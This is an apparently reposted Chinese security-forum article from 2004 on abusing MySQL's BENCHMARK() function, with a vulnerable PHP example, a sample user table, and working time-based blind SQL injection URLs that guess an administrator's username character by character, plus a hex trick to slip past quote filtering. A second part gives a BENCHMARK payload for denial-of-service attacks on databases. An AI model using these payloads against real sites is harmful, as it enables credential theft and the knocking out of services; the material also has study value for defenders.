找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1986|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 * l9 M- ~- D' _2 n" A" E$ ]" \
本文作者:SuperHei: S$ a- x! q( |3 C
文章性质:原创
: T; N& S4 ~  u. \发布日期:2005-01-02: k8 L/ g( z& v& I- P0 V/ g( w7 A
完成日期:2004-07-09
" v8 `: q- p/ R+ Z+ |, {- c/ E第一部
4 {/ u0 @0 p* m0 K$ d; l& y( ]
4 U5 w2 k# B: y6 }0 T6 ~% E7 U利用时间推延进行注射---BENCHMARK函数在注射中的利用 6 N4 Y  Y& d9 f" W1 t2 u' \

" I) @$ Q; [) q; q一.前言/思路
: h  E8 y8 }/ k% t( Q& j' y) |" k7 \+ I1 X
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
+ i: o% o$ _4 ]! Z2 ~3 z# v# ~- a% ?
; b: Y) ^8 Y8 e8 w  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。9 O' O4 V, \  N* p3 f
& I9 O' F/ q5 {$ E0 W% b; ^6 q
二.关于BENCHMARK函数  H+ S+ H/ c& E+ U; Y
* }. F- P, {: d& P, x/ n! ~2 m# w8 U
  在MySQL参考手册里可以看到如下描叙: 6 ~2 J# G; U" m: k
/ {3 e5 u. Z! S6 F3 e9 o* s0 s  y1 j

* d' ?0 ?: S( S- K, ?0 S- c--------------------------------------------------------------------------------
9 F3 U; _4 M- m9 A6 s
- Q$ o4 o% w0 L& e' VBENCHMARK(count,expr) 6 M& R( a/ U4 K, ?
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ) w; k  j+ B& E  n
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); & C  e( I; X9 A/ p* u$ }, |
+----------------------------------------------+
+ N! E2 O% ?$ N# D| BENCHMARK(1000000,encode("hello","goodbye")) | " d5 G% J  f  v' P* O6 O+ L
+----------------------------------------------+
: C2 _( [" m9 K$ U1 F| 0 |
, O& D' I, A7 Q8 m6 k- d+----------------------------------------------+
( }( ^2 H3 ^5 M: Y  X2 v) e1 row in set (4.74 sec) - U  c$ l- o7 T; D6 T( o
& D# b! Q: Q7 F5 t. r; r  k
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。* [& X5 |: \( p. x+ n8 k

$ d. p' H0 _/ C2 d+ _5 G+ |% Z/ ~7 Q) w
--------------------------------------------------------------------------------
* X. w/ I. g' R2 ]* r* Q7 s1 h* j5 u0 B( z; k. d: Q
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: " r. d; E" Z# {% @, G9 Q, C
& }* e% ^  m& X! d: Y" k1 }
mysql> select md5( 'test' );
5 i* }# o& x3 z! y4 l+----------------------------------+ 5 v& j8 g! J5 k4 }
| md5( 'test' ) |
1 s& ^  t4 x/ v: s& |1 H; @+----------------------------------+ ' l: P& E2 T/ _5 V2 y& c9 k
| 098f6bcd4621d373cade4e832627b4f6 | 4 R+ y+ P; b# K9 I* b. ~  D4 T
+----------------------------------+ % u# B9 o# p, |2 }1 P4 k& i5 R
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 b6 n5 h: J! |: C6 ^; `- v
4 M% x  s5 c. umysql> select benchmark( 500000, md5( 'test' ) ); " ~4 v. c% D8 K0 }3 S8 n, F
+------------------------------------+
6 `1 i4 S! Q9 O" @& v2 || benchmark( 500000, md5( 'test' ) ) |
* E2 |: I  @$ }1 ?1 [7 F* Z+------------------------------------+
' V) D* `1 }- M" I5 V| 0 | 2 `/ y3 y% B, m
+------------------------------------+
; }9 l8 y1 Z2 Y& D5 N3 R1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
/ A% H7 {9 d3 j! n# K) J 2 V, H  ]( O& L* Q

! B* s8 y; j4 @0 v$ v) ?  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 - x) x7 B6 P/ T# D2 F* d
# z) n7 v/ A7 O, M9 p: c/ g% m
三.具体例子
- @7 s3 y1 A/ O8 ^6 V/ Y; F9 V4 Y) }) f& [2 q9 f; y( L" h
  首先我们看个简单的php代码:5 ?5 c: R8 Z& S, t
8 l2 f2 `% O: ]/ q
< ?php   m1 f3 g( y; E
$servername = "localhost"; : O: S* L1 G% t/ L
$dbusername = "root";
( J: b3 {2 F' o  d  r; t; G% c$dbpassword = ""; 5 H1 e% F, o8 a( I2 Y4 h
$dbname = "injection";
# l) ~# h" P( a' y! W
0 X1 w/ c! o0 b! H% p$ Dmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
' O9 M% F& G: i$ E- e0 J
( D" d" N% }1 \$sql = "SELECT * FROM article WHERE articleid=$id"; % l; ]7 C; S+ y8 E) l! e1 O' ^: _" ?
$result = mysql_db_query($dbname,$sql);
% I( Z, i4 V: _/ {% ]) ~3 y$row = mysql_fetch_array($result);
( x+ A, W3 t7 V' D1 @
! [# ~4 E+ {9 R" }. Jif (!$row) & f4 j9 }+ f$ R
{ / q5 U2 i6 [6 {) t: Z+ K$ b% P
exit; # i( q# K' m  l/ }% @1 R
} , n  B8 [, C9 e3 x- I4 d0 x" B/ L
?>
- k# o& Z, S7 m) A * J. E6 q( a  p. q8 O: W6 X6 t

8 H5 a9 ~! D- n7 ?$ R$ c* R9 H  数据库injection结构和内容如下:
! k" I# g" R( W- R* J9 s3 u. D0 u- u# S  c9 `
# 数据库 : `injection`
, l! `7 Y: _: u4 _$ b# + V9 L4 \, i8 K( r% @: L

5 @7 X! i6 V  s1 I# T" e, R# --------------------------------------------------------
' B; t4 F& J  b# @& O
& R! s% P. S& H$ y# O3 W/ o# 6 l! n3 Q: F, z3 {
# 表的结构 `article`
( u; G* W* N2 z#
+ g) f3 h. T! |  F0 P* Q
3 A* h& C7 B5 {! O& T! x! UCREATE TABLE `article` ( 7 \% `9 z7 O4 Q$ Q
`articleid` int(11) NOT NULL auto_increment, ' m, n9 e3 d% p/ A. P- G
`title` varchar(100) NOT NULL default '',
- b8 q! I# _; @  C  W6 L+ j7 N$ e`content` text NOT NULL, 8 A( C8 {" e4 f' l* V
PRIMARY KEY (`articleid`) & q; Y; O9 h, f) [3 V& S
) TYPE=MyISAM AUTO_INCREMENT=3 ; ; x4 j: X& w; P3 ?( S
* n1 E, A$ K, o) \/ Q' M8 ?
#
0 `! L3 m5 A5 Y# 导出表中的数据 `article`
+ `+ H# q- p% I% P6 F# 5 H0 U% B$ v+ X

+ l$ _, @( W& X% aINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 0 K  I- J! Y4 a6 W
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
: M5 m4 h% ^" F, K% b; @3 K+ W
1 H( O7 A7 y' [8 p1 ~# --------------------------------------------------------
2 z3 K& @, F+ Q1 a/ B% x- r4 W3 l, f
#
$ c7 J5 C( G8 M/ M* w# 表的结构 `user` + N/ Y( v) }# Y
# 8 {% F2 H% p% K9 E

' v* J# c! A) h3 zCREATE TABLE `user` (
1 X( X- S: R5 D0 r8 ``userid` int(11) NOT NULL auto_increment,
1 `2 f- y; [9 ?& z$ R; F`username` varchar(20) NOT NULL default '',
2 }& M- B, k# f% J`password` varchar(20) NOT NULL default '', + s$ u# D$ B" N2 O* e. R$ V
PRIMARY KEY (`userid`)
' {5 g8 |& E9 _& N3 G6 ^0 i) TYPE=MyISAM AUTO_INCREMENT=3 ; ) _- l( S# i& `
' X/ x6 Q; R) e6 d5 r
# 0 \+ t7 C4 _; e8 Z9 i, ?
# 导出表中的数据 `user`
8 _0 f! g+ p! q2 C, N! {" F+ e/ |) N#
7 F7 L$ T% M; N) N8 c7 E: _+ q4 [
* m- z- C0 W% U+ l) T% J. `INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % `4 \  |2 }* w3 m
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
. A8 i( b0 w4 G' B$ x* z. a 3 Y5 R* q/ k/ q) z
0 e6 o, J- m7 r) r& M) e
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; |0 c4 a9 Q2 X/ ^9 B
7 h7 a8 P8 i" q& G7 T, G+ Qid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
  [6 W4 r; x2 B1 Q) @% O ; L' R! v7 X' q! v, m

$ e# R5 q3 \4 @( @+ ~3 a2 }  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:. N' e7 k) H6 R

+ \1 c  N" m- K9 k+ N  ?  n- |http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*4 b: b' j* k  q& u  r

: g/ O$ \* ?+ O2 Y: Q+ O2 c
% ?+ d7 w0 l3 X. c0 ?+ }  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 i6 ]; z. H' r8 i
, y) _) o; ~/ @( c$ ]
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 - m% t) W  i- f8 t% P4 p8 |9 o
0 u4 G' P8 i7 _, @  K
第二部
  n- S) [1 @% y4 {0 J; [* }, y3 ]4 l( R& @) m  w( ^
利用BENCHMARK函数进行ddos攻击 - H1 e% J3 ^0 @! A. P
& Z8 P7 J, C1 g6 r% ~4 ?% U+ l
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:* y3 a- F; `0 |- r8 W8 G* k! i

0 \' e) _0 {6 ^+ v& U4 |; y6 mhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# P! J1 }1 n% j" E6 x
* W4 x8 V  e, \& o' W1 ?, C7 L2 }. ^- n( V  o
小结
2 X5 E- J# ~6 B6 j9 G$ j/ c, z! I% ^/ [
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。' e( G; v3 a& j- I% k

* {( \5 Z+ k: V) m  - e/ T' J* |0 W3 x+ F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表